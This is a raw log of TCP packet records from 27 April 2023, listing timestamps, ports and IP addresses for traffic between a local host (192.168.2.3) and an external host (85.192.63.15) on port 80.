Apr 27, 2023 07:42:01.301074982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301106930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301120996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301152945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301187992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301192999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301218033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301238060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301243067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301281929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301282883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301318884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301321030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301362038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301367044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301408052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301409960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301443100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301454067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301485062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301486015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301527023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301532984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301568985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301605940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301614046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.301686049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.302748919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302783966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302829981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302845001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.302862883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302886009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.302907944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302921057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.302943945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.302969933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.302997112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.303040028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.304385900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.304451942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.304488897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.304537058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.304578066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.304584980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.304662943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.310880899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.310935974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.310955048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.310986996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.311023951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.311144114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.311186075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.311690092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.311738968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.311784029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.311820984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.312058926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.312648058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.312697887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.312745094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.312781096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.313088894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.317643881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317699909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317745924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317781925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317819118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.317826033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317850113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.317872047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317918062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317939043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.317954063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.317987919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.318026066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.320626020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320662022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320708036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320743084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320787907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320795059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.320795059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.320826054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.320831060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.320856094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.320882082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.322290897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.322341919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.322376966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.322392941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.322422981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.322426081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.322451115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.322459936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.322494030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.322524071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.323973894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.324023008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.324054003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.324096918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.324100018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.324152946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.324170113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.324207067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.325555086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.325603962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.325609922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.325638056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.325639009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.325660944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.325684071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.325700998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.325721025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.325778961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.327285051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.327339888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.327385902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.327414989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.327414989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.327455044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.327522039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.328983068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.329031944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.329071999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.329077005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.329102039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.329113960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.329133034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.329174042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.331439018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.331535101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.331569910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.331577063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.331638098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.331954002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.331991911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.332041979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.332041979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335484028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335539103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335571051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335616112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335630894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335654020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335664034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335697889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335697889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335721016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335731030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335774899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335793972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335819006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335838079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335850954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335882902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335886002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.335908890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.335952044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.339006901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.339055061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.339099884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.339135885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.339138985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.339181900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.339204073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340665102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340712070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340749979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340755939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340778112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340790987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340821981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340837002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340846062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340883017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340897083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340925932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340943098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.340960026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.340991020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.341016054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.345499992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.345550060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.345593929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.345628977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.345640898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.345679998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.345710039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.346920967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.346959114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.347002983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.347039938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.347048044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.347067118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.347084045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.347110987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.347143888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.350815058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.350863934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.350888968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.350908041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.350923061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.350950956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.350994110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.351000071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.351000071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.351037025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.351074934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.351097107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.351126909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353522062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353559971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353605986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353631973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353652000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353662014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353688955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353712082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353734970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353760958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353780985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353827000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353832960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353862047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.353910923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.353977919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.355087996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.355155945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.355202913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.355227947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.355248928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.355276108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.355284929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.355329037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.355372906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.356736898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356771946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356817007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356848955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.356862068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356897116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356908083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.356941938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.356942892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356990099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.356990099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.357033968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.357045889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.357072115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.357074976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.357094049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.357135057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.358743906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.358791113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.358836889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.358860970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.358874083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.358925104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.358987093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363198996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363234997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363277912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363321066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363321066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363364935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363365889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363416910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363430023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363454103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363486052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363507986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363523006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363559961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363569021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363589048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363609076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363642931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363656998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363679886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363706112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363729954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363750935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363780022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363785982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363821983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.363827944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363857985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.363903999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.370069027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370132923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370165110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370203018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370248079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370270967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.370296001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370342970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370359898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.370381117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.370414019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.370456934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.372021914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.372070074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.372113943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.372149944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.372220039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.372313023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.372925997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.372973919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.373008013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.373040915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.373051882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.373087883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.373140097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.373203993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.374846935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.374895096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.374943018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.374967098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.374988079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.374994993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.375045061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.375089884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376393080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376466036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376513004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376538992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376560926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376573086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376600027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.376621008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376671076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.376703978 CEST	80	49697	85.192.63.15	192.168.2.3
